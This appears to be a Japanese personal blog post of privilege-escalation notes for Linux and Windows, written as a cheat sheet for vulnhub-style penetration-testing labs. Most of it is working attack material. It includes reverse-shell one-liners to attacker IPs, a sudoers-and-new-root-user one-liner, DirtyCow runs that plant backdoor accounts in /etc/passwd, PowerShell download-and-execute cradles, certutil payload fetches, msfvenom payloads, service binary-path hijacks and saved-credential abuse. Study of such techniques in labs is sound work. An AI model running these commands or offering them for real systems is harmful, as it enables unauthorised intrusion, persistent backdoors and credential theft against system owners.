高林の雑記ブログ

こんにちは。

vulnhub Privilege Escalationメモ

以下二つに追記していってたんですが、文字数が多すぎてレスポンスが重くなったので、PrivilegeEscalationのことはここに書くことにしました。
PE以外は以下二つを参照してください。
kakyouim.hatenablog.com

kakyouim.hatenablog.com

Privilege Escalation

Linux

情報収集ツール

  • wget https://www.securitysift.com/download/linuxprivchecker.py
  • wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    Linuxprivchecker.pyなら書き込み可能なファイルやディレクトリをEnumしてくれる。
  • linpeas.sh
    github.com
    Linpeas.shならpasswordを含むクレデンシャルも探索できる
    tcpdumpが可能かどうかもわかる。
  • vuln_pkg_lookup.sh
    github.com

  • kernelpop.py
    github.com
    Enum Kernel Exploit

  • pspy
    github.com

  • linux-smart-enumration
    github.com

  • suid3num.py
    github.com
    CustomSUIDを探せる

  • wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

  • wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
    シェルを確立後、これらをアップして実行して情報を集める。
    参考:
    blog.g0tmi1k.com
    https://www.rebootuser.com/?p=1623www.rebootuser.com
    guide.offsecnewbie.com
    guif.re

手動で情報収集

  • uname -a
  • cat /etc/*release
  • lsb-release -a
  • cat /etc/passwd
  • cat /etc/shadow
  • cat /etc/exports
    /home *(rw,no_root_squash)
    RWで共有ディレクトリに書き込み権限があり、no_root_squashでローカルのrootユーザーがnsfnobodyを割り振られない場合、いったんkaliにマウントしてSUIDの/bin/bashを書き込めば、リモートにログインしてその/bin/bashを実行することでRootになれる。
    www.hackingarticles.in

  • ps -ef | grep root

  • sudo -l,sudo -ll
    例えば、以下のようになっている場合、test1はtest2として/tmp/somecommandを実行すると、そのコマンドがroot権限で実行される。
    もし、現在のユーザーがtest1で、somecommandが/bin/bashの場合、sudo -u test2 /bin/bashでrootになれる。
User test1 may run the following commands on this host:
    (test2 : ALL) /tmp/somecommand

ただし、somecommandがsudoeditの場合、sudoeditにはsudoコマンドが含まれるので先頭にsudoを付与する必要はない。
- ls -al /etc/cron.daily
- cat /etc/crontab
書き込み可能なスクリプトが実行されていないかどうか確認。
また、*インジェクションが可能でないか確認。
www.hackingarticles.in
logrotateがRootで実行されていて、logrotateのログファイルに書き込めるまたはその親ディレクトリに書き込み権限がある場合、任意の場所に書き込める可能性がある。(と書いてあったが/etc/bash_completion.d/にログファイルを書き込めるだけっぽい?)
/etc/bash_completion.d/にExploit Codeを設置するとほかのユーザーがログインしてきたときにそのユーザーの権限でExploit codeが実行される。
/var/log以外にログファイルがないかどうか確認。(/home/logdir/log.1みたいな)
tech.feedyourhead.at
- find / -mmin -10 2>/dev/null | grep -Ev "^/proc" | grep -vi '\/var\/lib\/' | grep -vi '\/sys\/'
最近編集されたファイルを探す。
- capability
- CAP_DAC_OVERRIDE - CAP_DAC_READ_SEARCH - CAP_KILL - CAP_SYS_CHROOT これらがバイナリに付与されていないかどうか確認。
悪用できるかどうかは付与されているバイナリによる。
nxnjz.net

github.com

  • cat .bash_history
  • find /etc/apache2/ -perm 777 | grep -vi '\.load'
  • cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
    Loginできるユーザーを確認
  • lsattr ファイル名

  • ls -al /var
    www.pathname.com
    おかしな場所にSoftwareがInstallされていないかどうか確認
  • cat ~/.ssh/id_rsa
    SSH秘密鍵が見れるか確認
  • find -iname '*config*'
    /var/www/htmlなどでMysqlなどのデータベースのクレデンシャルなどがないかどうか確認
  • netstat -antup
    • 待機しているサービスの確認
      外部からは見えないようなソフトが動いていないかどうか確認
      例えば以下のような場合、0.0.0.0(すべてのネットワークインターフェイス)の22,80ポートでリッスンしている。(127.0.0.1や10.11.0.1など)
      ただしIptablesによってパケットフィルタリングされている可能性もある。

      tcp 0 0 0.0.0.0:80 0.0.0.0: LISTEN
      tcp 0 0 0.0.0.0:22 0.0.0.0:
      LISTEN

    • mysql (3306)
      mysql -h 127.0.0.1 -u root -P 3306 -p
      • show databases;
      • show tables;
      • show columns from table_name;
    • mongodb (27017)
      mongo -u user1 -p password123 localhost:27017/database_name
      • show dbs
        データベースを表示。
      • show collections
        MongodbでのcollectionはMysqlでのTable
      • db.collection_name.find()
        collection(table)の中身をすべて表示。
      • db.users.insert( { escalation: "bash /bin/bash" } );
        filed(column)がescalation、値がbash /bin/bashのdocument(row)をcollection(table)usersに挿入。
      • db.collection_name.find( { a : 1 } )
        collection(table)のdocument(row)の中で、field(column)aの値が1であるdocument(row)を抽出。
        select * from collection_name where a = 1
        に対応。
  • tcpdump
    • tcpdump -w test2.pcap -i tap0 -W1 -G10
      で10秒間のセットを一回実行。
      iNICを設定。
      passwordなどの情報がやり取りされていないかどうか確認する。
    • tcpdump -r test2.pcap
      rでファイルを読み込む。
    • tcpdump -r test2.pcap -n port 443 -A
      nでポートを指定して、AXで中身を表示。
    • tcpdump -r test2.pcap -n dst host 10.11.0.1
  • dpkg -l
    Debian(ubuntuとか)でInstallされているソフトを列挙
  • rpm -qa
    CentOS / openSUSEでInstallされているソフトを列挙
    以下を参考にする
    www.pathname.com

Exploit

use searchsploit

得られたKernelのバージョンから有効なExploitをsearchsploitでも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています

  • Linux kernel で2.6(今回は2.6.24)
  • Local Privilege
  • OSが32bit(i686とあるため)
  • 標的の環境ではRubyは動かないので.rbを排除
  • < 2.6.1を省く

ここまですればある程度目で見れるくらいに絞れる。あとは、

  • Ubuntuで8.04じゃないやつ(10.10とか)

等、矛盾するものを排除していく
注意点

  • grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
  • searchsploit --colour -t phpとして色を消す
  • searchsploit -x 12345とすると表示できる
  • grep では`-i`(大文字小文字無視)を使う
  • Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
  • 一個ずつ消すときは、ファイル名で消す
  • 2.xみたいなのを消さないように気を付ける
Compile error

: syntax error: unexpected end of file
: line 39: syntax error near unexpected token `{
/bin/bash^M: bad interpreter: No such file or directory
のようなエラーが出ているときは、改行コードが\r\nで保存されてしまっているため、Linuxの\nに直す。
その他のエラーの参考文献。
github.com

sed -i 's/\r//' filename

use command or program

-get root one liner
rootで起動しているプロセスがあれば、そのプロセス上でコマンドが実行できないかどうか確認。書き込みでも可。できれば以下のコマンドで権限昇格

echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; useradd user2; echo "user2" | passwd --stdin user2;usermod -aG wheel user2

useraddでuser2という新しいユーザーをpassword=user2として作成し、usermodでsudoをNOPASSWORDで実行できるようにする。

# id user2
uid=502(user2) gid=502(user2) groups=502(user2),10(wheel)
# sudo su user2
bash-3.2$ sudo su root
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  • chmod u+s /bin/bash
    /bin/bashの所有者の権限(3つのやつの一番左の権限)で実行。root以外が実行してもrootとして実行されるが、一番右のothersが実行できない(xがついていない)場合はPermission deniedとなって実行できない。
    u+sでSUIDビットを付けられるのはバイナリファイルだけ。シェルスクリプトにはできない。
    g+sでSGIDビットを付与。
    ファイルの所有者は変わらない。
  • /bin/bash -p
    chmodでrootの権限SUIDを付与したbashを実行する際、-pを付けないと、実行したユーザーの権限で上書きされて実行されてしまうので昇格ができない。
  • chown -R john.john /root
    -Rで、指定したディレクトリとそのディレクトリ以下のファイルやディレクトリの所有権を再帰的に変更する。
  • nc -e /bin/bash 192.168.56.5 4445
#!/bin/sh
netcat -e /bin/sh 10.11.0.1 5555


- コマンドの悪用
sudoが許可されている場合など、以下のコマンドを使ってrootになれる。
GTFOBins

rootで書き込めるなら、/etc/sudoers
- www-data ALL=NOPASSWD: /bin/su
みたいに書けばよい
- export PATH=/home/john:$PATH
フルパスでコマンドが実行されていない場合、環境変数を書き換えて任意コマンド実行。ただしシェルスクリプト(bash script.sh)ではPATHを書き換えても/bin/を参照するため無効(?yokuwakaranai?)

- ssh -i id_rsa 127.0.0.1 -l root
非rootの公開鍵が/root/.ssh/authorized_keysにある場合、上記のコマンドで(/home/非root/.ssh上で)ログインできる。
また、kernelのバージョンが2.6.22~3.9なら、dirtycowというexploitができる可能性がある。これは非常に強力なエクスプロイト。一般ユーザーには読み込みしか許可せず書き込みができないファイルに対してExploitを実行して書き込めるというもの。つまり、/etc/passwdに新たなuserをrootとして作成することが可能。

有名なExploit

Dirty cow
  • 40839.c
    gcc -pthread dirty.c -o dirty -lcrypt
    コンパイルする。
./dirtycow-40839-32
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: pass

Complete line:
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash

mmap: b778e000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
root@kali:~# perl -le 'print crypt("pass", "aa")'
aaW3cJZ7OSoQM

で、これをパスワードとして/etc/passwdに追記する。
文字数はいい感じにファイル名で合わせる。

$echo '#!/usr/bin/env bash' > /tmp/reverse-shell555555555
$bash -i >& /dev/tcp/10.11.0.112/5555 0>&1' >> /tmp/reverse-shell555555555
$chmod 777 reverse-shell555555555
.$/dirtycow-40611-32 /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
<backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555       
mmap b7797000

madvise 0

procselfmem -1689934592

$cat /etc/passwd
backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
  • 40847
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
    コンパイル
$./dcow -s
$./dcow pokeball miltank

miltankでpokeball fileを上書き。

   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsに様々なバージョンのDirtycowがのっている。

DirtyCOW(CVE-2016-5195)のPoCを試してみたよっていう話 - Qiitaに詳しい手順がのっている。
Ubuntuディストリビューションに対するカーネルバージョン
Ubuntu version history - Wikipedia

Windows

ツールやコマンド

powerless.bat

accesschk.exeをアップロードしてから実行するとよい

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Powerless.bat" Powerless.bat

Sherlock.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Sherlock.ps1'))http://10.11.0.112/priv/windows/Sherlock.ps1'));Find-AllVulns"

Session Gopher.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.112/priv/windows/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

JAWS

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.12/priv/windows/jaws-enum.ps1'))"

WindowsEnum.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/WindowsEnum.ps1'));"

windows-privesc-check2.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/windows-privesc-check2.exe" windows-privesc-check2.exe

beRoot

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/beRoot.exe" beRoot.exe

PowerUp

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"

windows-exploit-suggester.py

python windows-exploit-suggester.py --database 2020-03-06-mssb.xls --systeminfo systeminfo.txt

Seatbelt.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Seatbelt.exe" Seatbelt.exe

SharpUp.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/SharpUp.exe" SharpUp.exe

Metasploit

  • use post/multi/recon/local_exploit_suggester
  • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe

    Other tool

    accesschk.exe

    レジストリへの権限を確認したり重宝するツールだが、XP SP1だとなんか動かなかった。(??)
    ファイルサイズが大きいのでUPXで小さくした方がいいかも。

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/AccessChk/accesschk.exe" accesschk.exe

以下、もしくはSysInternalsからダウンロード。
github.com

Powershell Empire

  • Listenerの設定
    • [Listeners] → [uselistenser http]でポートなどを設定
      • set Port 8080
      • set Host http://10.10.10.10:8080
      • set Name test
    • [execute]でリスナーを作成
    • [Listeners] → [usestager windows/launcher_bat]でリスナーのStagerを作成
      • set Listener test
    • [execute]でstagerを作成
  • scriptimport /var/www/html/priv/windows/Sherlock.ps1
    • scriptcmd FindAllVulns
  • usemodule privesc/powerup/allchecks
  • scriptimport /var/www/html/priv/windows/jaws-enum.ps1
  • upload /tftp/launcher.bat
  • upload /var/www/html/exploit/windows/reverse-4445.exe
  • upload /var/www/html/exploit/windows/Powerless.bat
  • upload /var/www/html/priv/windows/Accesschk/accessChk.exe
  • upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
  • upload /var/www/html/priv/windows/beRoot.exe
  • upload /var/www/html/priv/windows/Seatbelt.exe
  • upload /var/www/html/priv/windows/SharpUp.exe
  • upload /var/www/html/priv/windows/windows-privesc-check2.exe

以下の参考文献がわかりやすい。
www.emonnao.com
以下にModuleの説明がのっている。
www.powershellempire.com

調査と悪用

system

 * * Windows XP with sp2
 *  - As Power User:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: WMI (SYSTEM) <- sometimes as user also..
 *  - As User:
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *  - As Network Config Operators:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: DHCP ( SYSTEM )
 *    Service: NetBT (SYSTEM - .sys driver)
 *    Service DnsCache (SYSTEM)
 *
 * * Windows 2000
 *  - As Power user
 *    service: WMI (SYSTEM)

www.exploit-db.com

upnphost

XP SP1,2ならupnphostレジストリキーを任意に書き換えられる脆弱性がある可能性(99%)
Local Srviceで起動するようになっていても、Local Systemに上書きすればよい。
reverse-shellペイロードは、Stagedじゃないとうまく行かなかった。
MSI,VBSで作成したペイロードはエラーで実行ができなかった。
msfvenom -p windows/shell/reverse_tcp LPORT=8888 LHOST=10.11.0.112 -f exe > reverse-8888-staged.exe

以下の参考文献では、-f exe-serviceとしてペイロードを作成していたが、そうするとnet start upnphostの時に、

C:\WINDOWS\system32>net start upnphost
net start upnphost
System error 1083 has occurred.

The executable program that this service is configured to run in does not implement the service.

となってエラーで実行できなかった。(???)
LPEWalkthrough/Walkthrough.md at master · J3rryBl4nks/LPEWalkthrough · GitHub

sc config upnphost binpath= "C:\Documents and Settings\All Users\Documents\reverse-4445.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

でサービスを起動すると、Reverse shellがMeterpreter上で得られるが、数十秒で接続が切れてしまう。
そのため、
migrate PID
などで安定したSYSTEMプロセスに移動する必要がある。VMTools,logon.scr,winlogonなどで行けた。
srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"
github.com

IKEEXT DLLHijack

Windows Vista / 7/8ならIKEEXTなどの存在しないDLLを読み込もうとする脆弱性の可能性

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Ikeext-Privesc.ps1'));Invoke-IkeextCheck -Verbose "

以下に詳しい手順とPSのExploit Codeがある
https://github.com/itm4n/Ikeext-Privescgithub.com

Hot potato

ホットポテトは、NBNSおよびWPADのローカルスプーフィングに対処する脆弱性
WPAD用のローカルスプーファーをセットアップし、Defenderに更新を確認するように依頼して脆弱性をトリガーする。
DefenderはNT \ SYSTEMとして実行されているため、ハッシュを取得して独自のSMBサーバーに中継できる。
これをローカルSMBサーバーに中継したら、コマンドを実行できる
Windows 7/ 8/10/ Server 2008/ Server 2012なら脆弱である可能性
以下のPowershellのExploit Codeが使える
詳しい判断基準は不明

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/Tater.ps1')); Invoke-Tater -Command 'net localgroup administrators jill /add' -exhaustudp Y"

github.com
おそらく以下の状態になれば失敗(????)
時間がかかるという文献もあるので待てばよい?

2020-03-02T01:26:59 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.11.1.73
Spoofing Hostname = WPAD
UDP Port Exhaustion Enabled
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2020-03-02T01:26:59 - Waiting for incoming HTTP connection
2020-03-02T01:26:59 - Trying to exhaust UDP source ports so DNS lookups will fa
il
2020-03-02T01:27:00 - Couldn't bind to UDP port 161
2020-03-02T01:27:00 - Couldn't bind to UDP port 500
2020-03-02T01:27:02 - Couldn't bind to UDP port 3702
2020-03-02T01:27:02 - Couldn't bind to UDP port 4500
2020-03-02T01:27:02 - Couldn't bind to UDP port 5004
2020-03-02T01:27:02 - Couldn't bind to UDP port 5005
2020-03-02T01:27:03 - Couldn't bind to UDP port 5355
2020-03-02T01:27:50 - Couldn't bind to UDP port 56182
2020-03-02T01:27:54 - Couldn't bind to UDP port 60579
2020-03-02T01:27:55 - Couldn't bind to UDP port 61267
2020-03-02T01:27:58 - Couldn't bind to UDP port 64549
2020-03-02T01:27:59 - Flushing DNS resolver cache
2020-03-02T01:28:14 - DNS lookup failed so UDP exhaustion worked
2020-03-02T01:28:15 - Flushing DNS resolver cache
2020-03-02T01:28:15 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1
2020-03-02T01:28:18 - WPAD has been spoofed to 127.0.0.1
2020-03-02T01:28:18 - Running Windows Defender signature update
2020-03-02T01:28:31 - HTTP request for /wpad.dat received from 127.0.0.1
2020-03-02T01:28:35 - Attempting to redirect to http://localhost:80/gethashes a
nd trigger relay
2020-03-02T01:28:35 - HTTP request for http://go.microsoft.com/fwlink/?LinkID=1
21721&clcid=0x409&arch=x86&eng=0.0.0.0&asdelta=0.0.0.0&prod=925A3ACA-C353-458A-
AC8D-A7E5EB378092 received from 127.0.0.1
2020-03-02T01:28:39 - HTTP request for /GETHASHES received from 127.0.0.1
2020-03-02T01:28:40 - HTTP to SMB relay triggered by 127.0.0.1
2020-03-02T01:28:40 - Grabbing challenge for relay from 127.0.0.1
2020-03-02T01:28:40 - Received challenge 42174A099FB0658A for relay from 127.0.
0.1
2020-03-02T01:28:40 - Providing challenge 42174A099FB0658A for relay to 127.0.0
.1
2020-03-02T01:28:41 - Sending response for \ for relay to 127.0.0.1
2020-03-02T01:28:41 - HTTP to SMB relay authentication failed for \ on 127.0.0.
1

以下原理などの参考文献
pentestlab.blog
foxglovesecurity.com

Users

  • net user,net localgroup,net localgroup "Remote Desktop Users"
    自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
    RDPできるユーザーも確認
  • LocalSystem
    administrator権限を与える。原則なんでもできる。
    アカウント名:NT AUTHORITY\System
    PEではこのlocalsystem,administrator権限を奪取することが目標となる
  • Local Service
    Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
    ネットワーク・リソースへのアクセスも、特定アカウントではなく匿名の資格情報に制限される。
    デフォルトでは、ローカルとネットワークのどちらのリソースに対しても、Systemほど強力な権限を必要としないサービスで利用されている。
    アカウント名:NT AUTHORITY\LocalService

  • Network Service
    Local Serviceと同じく、Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
    ただしネットワーク・リソースには、Systemと同じくローカルのコンピュータ・アカウントの資格情報でアクセスできることから、Systemほど強力な権限を必要としないネットワーク系サービスで利用されている。
    アカウント名:NT AUTHORITY\NetworkService

  • Authenticated Users
    AD(ドメイン)ならドメインにログオンできるユーザーは皆Authenticated Usersに所属
    ローカルPCの場合は、そのPCにログインできるユーザーはAuthenticated Usersに所属。
    但しGuestアカウントは認証ユーザーではないので、Authenticated Usersに所属していない。

Privileges

Juicy Potato

SeImpersonatePrivilegeまたはSeAssignPrimaryTokenPrivilegeを持っていてx64の場合、Juicy Potatoが有効
以下から64bitバイナリをダウンロード
github.com
hunter2.gitbook.io

Rotten potato

環境変数

  • Find-PathDLLHijack
    PATH変数の中に書き込み権限がある場所がないかどうか調べる
    非常に重要
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Find-PathDLLHijack "

Writable

  • file/Directry
    • icacls
      icaclsFもしくはM(?)Power UsersBUILTIN\Users,NT AUTHORITY\Authenticated Usersに与えられている場合、実行ファイルを置き換えられる。
      その実行ファイルがSYSTEMで起動するサービスと関係している場合に有効
    • autoruns
      === Modifiable Registry Autoruns ===
      HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : C:\Program Files\Autorun Program\program.exe
      SharpUp.exeの結果で書き込み可能な場所に自動起動するプログラムがある場合有効
    • accesschk.exe -dqv "C:\Python27"
      上記でディレクトリやファイルの権限を確認
  • Service
    • sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
      RWNT AUTHORITY\Authenticated Usersなどに与えられている場合、上記でサービスのバイナリPATHを書き換えられる
      XP SP1はデフォルトでこれが可能
    • sc qc upnphost
      で確認
      scコマンドでレジストリからキーを取得する(?)。
      reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\upnphost
      でも同じことができる
    • accesschk.exe -ucqv upnphost
      でこのサービスのレジストリキーに書き込み可能かどうか確認できる
      powershell -Command "Get-Acl -Path HKLM:\System\CurrentControlSet\Services\upnphost"
      でも同じことができるが、PSv3.0以降でしか使えない
      accesschk5-2.exe -uwcqv "Authenticated Users" * /accepteula
      winXP/2003なら5-2versionを使う必要があるらしい。
    • net stop upnphost,net start upnphost,wmic service NAMEOFSERVICE call startservice
      でサービスを起動する
    • sc sdshow wampapache
      サービスに付与されている権限をDACL構文で表示
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)

例えば上記の場合、
SY(Local System),BA(Builtin Administrators)にはサービスの起動(RP)・停止(WP)権限があるが、
IU(対話型ログオン ユーザー),SU(Service Logon User)にはその権限はない。
そのためサービスの再起動ができない。
また、accesschk.exe -ucqv wampapache
でサービスに対するレジストリキーへの書き込み権限を表示する。

  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
    SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
    SERVICE_ALL_ACCESS
  R  NT AUTHORITY\INTERACTIVE
    SERVICE_QUERY_STATUS
    SERVICE_QUERY_CONFIG
    SERVICE_INTERROGATE
    SERVICE_ENUMERATE_DEPENDENTS
    SERVICE_USER_DEFINED_CONTROL
    READ_CONTROL
  R  NT AUTHORITY\SERVICE
    SERVICE_QUERY_STATUS
    SERVICE_QUERY_CONFIG
    SERVICE_INTERROGATE
    SERVICE_ENUMERATE_DEPENDENTS
    SERVICE_USER_DEFINED_CONTROL
    READ_CONTROL

この場合、一般権限のユーザーでは書き込み権限がないので起動・停止権限を付与することもできない。
DACL構文の参考文献
https://support.microsoft.com/ja-jp/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces

Unquoted file path

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
    自動起動するサービスで、引用符に囲まれていないサービスを列挙する。
    一般にC:\Windowsには書き込み権限がないのでそこを除外している(?)
  • C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
    となっている場合、
    • C:\Program.exe
    • C:\Program Files\Unquoted.exe
    • C:\Program Files\Unquoted Path Service\Common.exe
      のように実行ファイルを設置できれば有効

      AlwaysInstallElevated

=== AlwaysInstallElevated Registry Keys ===

  HKLM:    1
  HKCU:    1

となっていると脆弱
実行する特権が自動的に昇格されるため、管理者がワークステーションにアクセスしなくても、低い特権のユーザーがインストールを実行できます。
これを悪用するには、.msiインストーラーを実行する
- msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=10.22.6.122 -f msi > Install.msi

Get System

  • Get-System.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.1/exploit/windows/Get-System.ps1')); Get-System -Technique NamedPipe"
  • Tokenvator4.5.exe GetSystem
  • incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
  • PsExec.exe -s -i cmd.exe
  • python getsystem.py

以下にMetasploitを使わずにGet-Systemが実行できるファイルがある
github.com
github.com
github.com

Credential

  • cmdkey /list
    • runas /savecred /user:WORKGROUP\Administrator "C:\User\john\evil.exe"
      保存されたクレデンシャルがある場合はそれを使って、任意のプログラムをその権限で実行できる
    • C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
      パスワードを使って実行することもできる
      PsExec -u tom -p iamtom \\TOMSCOMP C:\path\to\nc.exe IP_OF_ATTACKING_SYSTEM 8080 -e C:\windows\system32\cmd.exe
      PsExec64.exe -u "Batman" -p "Zx^#QZX+T!123" C:\Windows\System32\spool\drivers\color\reverse-arkham.exe -accepteula
      でも可能(?)
$username = 'batman'
$password = 'Zx^#QZX+T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.14.8 4445 }


Powershell上で実行して、得られたクレデンシャルとして実行できる!
schtasks /Create /RU {domain name?(eg ARKHAM)}\{username} /RP "{password}" /SC MINUTE /MO 1 /TN logtracker /TR reverse-shell.exe
をcmd上で実行でもできそう?
- registry
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
- C:\WINNT\system32\config
regコマンドが使用できないとき(win2000)。

Kernel Exploit

  • python pyinstaller.py --onefile exploit.py
    pythonで書かれたExploitをWindowsで動かすために.py.exeに変換する。
    distディレクトリにバイナリが書き込まれる
  • Compiled exe
    以下にコンパイル済みのバイナリがある
    github.com

DLL Hijack

  • 概要
    存在しないDLLを読み込もうとするようなサービスがある場合、悪意のあるDLLを設置すれば起動時にそれを読み込ませられる。
    DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
    以下の順番で読み込まれる
  • 読み込まれる順番
    • 1 The directory from which the application loaded
    • 2 32-bit System directory (C:\Windows\System32)
    • 3 16-bit System directory (C:\Windows\System)
    • 4 Windows directory (C:\Windows)
    • 5 The current working directory (CWD)
    • 6 Directories in the PATH environment variable (system then user)
  • DLL Hijackable service
    MSDTC,MSINFO,Narratorなどが可能らしい。
    以下に詳しく書いてある。
    pentestlab.blog

PowerSploit

以下にほぼすべてのモジュールの使い方が丁寧に書いてある
powersploit.readthedocs.io

File Upload

  • upx -9 nc.exe
    tftpなどではサイズの大きいファイルの送信にかなり時間がかかるのでUPXでサイズを小さくする。
  • tftp -i 10.11.0.5 get nc.exe
    atftpd --daemon --port 69 /tftp
    を実行して、/tftpにアップしたいファイルを用意することでUploadできる
    Windows XPにはデフォルトでTFTPクライアントが組み込まれているが、Windows 7には組み込まれていない。
